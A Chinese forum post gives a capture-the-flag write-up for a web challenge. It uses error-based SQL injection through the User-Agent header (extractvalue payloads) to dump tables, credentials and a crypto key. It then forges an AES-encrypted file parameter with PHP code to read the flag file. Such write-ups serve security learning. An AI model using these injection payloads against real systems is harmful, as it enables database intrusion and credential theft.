查看: 169|回复: 0

[Web] xuenixiang_2020_web_web500

[复制链接]
发表于 2020-4-25 00:36:01 | 显示全部楼层 |阅读模式

xuenixiang_2020_web_web500

xuenixiang_2020_web_web500

我们使用基于错误的技术利用SQL注入,即我们在数据库生成的错误消息中提取的信息。例如,要获取数据库的名称,我们进行以下注入:
User-Agent: xxx' and extractvalue(0x0a, concat(0x0a, database()))=0 -- x

xuenixiang_2020_web_web500

xuenixiang_2020_web_web500
该数据库的名称是:hackimweb500
现在我们列出所述数据库的表:
User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema='hackimweb500')))=0 -- x
我们得到:
<br /><p style='color:red'>Invalid credentials</p> <h3>XPATH syntax error: '
accounts,cryptokey,useragents'
我们从accounts表中提取列:
User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select group_concat(column_name) from information_schema.columns where table_schema='hackimweb500' and table_name='accounts')))=0 -- x
<br /><p style='color:red'>Invalid credentials</p> <h3>XPATH syntax error: '
uid,uname,pwd,age,zipcode'
我们对其他表的运作方式相似。最后我们有数据库的结构:
hackimweb500:
- accounts (uid,uname,pwd,age,zipcode)
- cryptokey (id,keyval,keyfor)
- useragents (bid,agent)
我们从帐户表中提取记录:
User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select group_concat(concat(uname,':',pwd)) from accounts)))=0 -- x
<br /><p style='color:red'>Invalid credentials</p> <h3>XPATH syntax error: '
ori:6606a19f6345f8d6e998b69778c'
但是,密码的哈希值已被截断。没问题,我们用MID功能来解决它​​。
User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select mid(pwd,20,20) from accounts)))=0 -- x
<br /><p style='color:red'>Invalid credentials</p> <h3>XPATH syntax error: '
8b69778cbf7ed'
整个哈希是6606a19f6345f8d6e998b69778cbf7ed。在Google搜索之后,我们发现密码是frettchen。
我们启动与用户ori和frettchen密钥的会话......并将我们重定向到一个有点好奇的URL,显然是挑战的第二部分。
http://54.152.19.210/web500/ba3988db0a3167093b1f74e8ae4a8e83.php?file=uWN9aYRF42LJbElOcrtjrFL6omjCL4AnkcmSuszI7aA=
URL接收file带有base64文本的参数,如果我们解码,我们就不会得到任何可读的内容。该页面还告诉我们该标志位于flagflagflagflag.txt文件中。
当我们查看页面的源代码时,我们会以HTML注释的形式找到另一个提示:
<!--
function decrypt($enc){
$key = ??; //stored elsewhere
$data = base64_decode($enc);
$iv = substr($data, 0, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC));
$decrypted = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128,hash('sha256', $key, true),substr($data, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)),MCRYPT_MODE_CBC,$iv),"\0");
return $decrypted;
}
-->
它似乎是file决定URL 参数的函数。但是,$key未分配变量。解密的关键在于其他地方。
我们记得数据库中的cryptokey表,我们将其转储:
User-Agent: xxx' and extractvalue(0x0a, concat(0x0a,(select keyval from cryptokey)))=0 -- x
<br /><p style='color:red'>Invalid credentials</p> <h3>XPATH syntax error: '
TheTormentofTantalus'
关键是TheTormentofTantalus。我们decrypt使用加密密钥完成该功能,并尝试解密参数的值file。
<?phpfunction decrypt($enc){$key = "TheTormentofTantalus"; //stored elsewhere$data = base64_decode($enc);$iv = substr($data, 0, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC));$decrypted = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128,hash('sha256', $key, true),substr($data, mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC)),MCRYPT_MODE_CBC,$iv),"\0");return $decrypted;}echo decrypt("uWN9aYRF42LJbElOcrtjrFL6omjCL4AnkcmSuszI7aA=") . "\n";
我们执行PHP代码:
php decifra.php
flag-hint
一个给定的结果。该文件的名称是flag-hint。但我们需要flagflagflagflag.txt文件。我们编写一个使用相同算法和密钥加密的函数。
<?phpfunction encrypt($data) {
    $key = "TheTormentofTantalus"; //stored elsewhere    $iv = "\xb9c}i\x84E\xe3b\xc9lINr\xbbc\xac";
    // $iv = str_repeat("A", mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC));    $enc = mcrypt_encrypt (
        MCRYPT_RIJNDAEL_128,
        hash('sha256', $key, true),
        $data,
        MCRYPT_MODE_CBC,
        $iv
    );
    return base64_encode($iv . $enc);}echo encrypt("flagflagflagflag") . "\n";
经过一段时间的挫折之后,我们明白我们应该只加密文件名而不加密它的扩展名。
php cifrar.php
uWN9aYRF42LJbElOcrtjrBBiPlzTw8YXwRyfAyqcsVM=
最后我们调用URL file使用获得的值更改参数并且...
http://54.152.19.210/web500/ba3988db0a3167093b1f74e8ae4a8e83.php?file=uWN9aYRF42LJbElOcrtjrBBiPlzTw8YXwRyfAyqcsVM=


温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的最好奖励,还可以获得学币奖励,请尊重作者的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046
微信公众号
快速回复 返回顶部 返回列表